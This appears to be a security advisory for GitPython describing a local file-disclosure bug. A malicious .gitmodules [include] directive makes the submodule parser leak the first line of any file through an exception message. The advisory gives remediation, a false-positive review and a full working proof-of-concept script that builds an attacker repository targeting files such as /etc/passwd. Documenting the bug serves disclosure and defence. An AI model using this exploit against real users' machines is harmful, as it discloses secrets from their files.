Details
False-positive check (adversarial re-read)
- Is this the same bug as `GHSA-hmq2-w58f-27jc`? No — that advisory is about the
.gitmodulessubmodule *name* driving_module_abspath/os.makedirs()(creating a git repository/module directory outside the working tree, a write/RCE-adjacent primitive via a completely different function). This finding is about the[include]directive in the *same file* reaching a config-parser read primitive — a different mechanism, different function, different impact class (content disclosure, not directory creation). - Is this the same bug as `GHSA-cwvm-v4w8-q58c` (blind LFI)? No — that advisory is explicitly documented by its own reporter as content-free/blind (existence-only), and lives in
git/refs/symbolic.py's ref-name resolution feedingRepo.commit/tree/index.diff— an entirely different module and code path. This finding discloses actual file content viagit/config.py's include-directive resolution. - Is the impact overstated given only one line leaks? No — this is an accurate scoping caveat already reflected in the severity/impact discussion, not a reachability blocker: attacker has full control over which path is targeted (absolute paths work unconditionally), requires zero interaction beyond the single most common submodule operation, and the PoC demonstrates a real, working end-to-end disclosure through the standard
clone_from+list(repo.submodules)workflow. - Could the exception simply be silently swallowed by GitPython before reaching the caller? No — confirmed by reading
Submodule.iter_items()'s exception handling, which catches onlyIOError/BadName;configparser.MissingSectionHeaderErrorpropagates uncaught. - Verdict: no concrete blocker found. CONFIRMED — reproduced independently against both a throwaway secret file and
/etc/passwd.
Remediation
Pass merge_includes=False when constructing SubmoduleConfigParser in Submodule._config_parser() (git/objects/submodule/base.py), mirroring the existing fix in Repo.config_writer() (commit 41ecc6a4) — .gitmodules content is always attacker-controlled and should never be allowed to pull in include/includeIf directives. As defense in depth, GitConfigParser.read()'s include-path resolution should enforce that resolved include paths stay within the repository's own directory tree, and parsing-error messages (MissingSectionHeaderError/ParsingError) should avoid embedding raw file content when parsing a file the caller did not explicitly ask to open.
Confidence
High. Root cause confirmed by direct code reading across both git/config.py and git/objects/submodule/base.py, cross-checked against the fix commit that hardened the sibling code path but not this one; exploit chain reproduced independently, twice, against the current HEAD (a throwaway secret file and /etc/passwd).
Proof-of-Concept source (gitpython-003-poc.py)
#!/usr/bin/env python3
"""
GITPYTHON-003 PoC: `.gitmodules` -- fully attacker-controlled content shipped
inside a cloned repository -- can contain `[include] path = <any local path>`.
`Submodule._config_parser()` builds the parser used for `repo.submodules` (and
other submodule reads) via `SubmoduleConfigParser(fp_module, read_only=...)`
without passing `merge_includes=False`, so the class default `merge_includes=True`
is inherited. GitConfigParser then opens the target file; if it isn't valid
git-config syntax (true of virtually any non-gitconfig file), Python's
`configparser.MissingSectionHeaderError` embeds the file's first line verbatim
in its exception message, which propagates out of the ordinary, read-only
`repo.submodules` call -- a non-blind local file content disclosure primitive.
Run:
PYTHONPATH="<repo>:<repo>/gitdb:<repo>/smmap" python3 gitpython-003-poc.py <workdir> <target-file>
Benign: reads only the given <target-file> (defaults to a throwaway secret file
created under <workdir> if omitted) and never writes/exfiltrates it anywhere
except printing it locally to prove the primitive. No destructive action.
"""
import os
import subprocess
import sys
def main():
workdir = sys.argv[1] if len(sys.argv) > 1 else "/tmp/gitpython-003-poc"
target_file = sys.argv[2] if len(sys.argv) > 2 else os.path.join(workdir, "secret.txt")
attacker_repo = os.path.join(workdir, "attacker-repo")
dest = os.path.join(workdir, "dest")
for p in (attacker_repo, dest):
os.makedirs(p, exist_ok=True)
if not os.path.exists(target_file):
os.makedirs(os.path.dirname(target_file), exist_ok=True)
with open(target_file, "w") as f:
f.write("TOP-SECRET-DB-PASSWORD=hunter2-actual-secret-value\n")
subprocess.run(["git", "init", "-q", "-b", "main", attacker_repo], check=True)
subprocess.run(["git", "-C", attacker_repo, "config", "user.email", "[email protected]"], check=True)
subprocess.run(["git", "-C", attacker_repo, "config", "user.name", "Attacker"], check=True)
with open(os.path.join(attacker_repo, "file.txt"), "w") as f:
f.write("hello\n")
with open(os.path.join(attacker_repo, ".gitmodules"), "w") as f:
f.write(
'[submodule "totally-normal-dep"]\n'
"\tpath = vendor/dep\n"
"\turl = https://example.com/dep.git\n"
"[include]\n"
"\tpath = %s\n" % target_file
)
subprocess.run(["git", "-C", attacker_repo, "add", "file.txt", ".gitmodules"], check=True)
subprocess.run(["git", "-C", attacker_repo, "commit", "-q", "-m", "init"], check=True)
import git # gitpython under test
import configparser
repo = git.Repo.clone_from(attacker_repo, dest)
try:
subs = list(repo.submodules)
print("NOT VULNERABLE: no exception raised, submodules =", subs)
sys.exit(1)
except configparser.MissingSectionHeaderError as e:
msg = str(e)
print("VULNERABLE: MissingSectionHeaderError leaked file content via repo.submodules:")
print(msg)
with open(target_file) as f:
first_line = f.readline().rstrip("\n")
if first_line in msg:
print("Confirmed: target file's first line is present verbatim in the exception message.")
sys.exit(0)
else:
print("NOT VULNERABLE: exception message did not contain the expected content")
sys.exit(1)
if __name__ == "__main__":
main()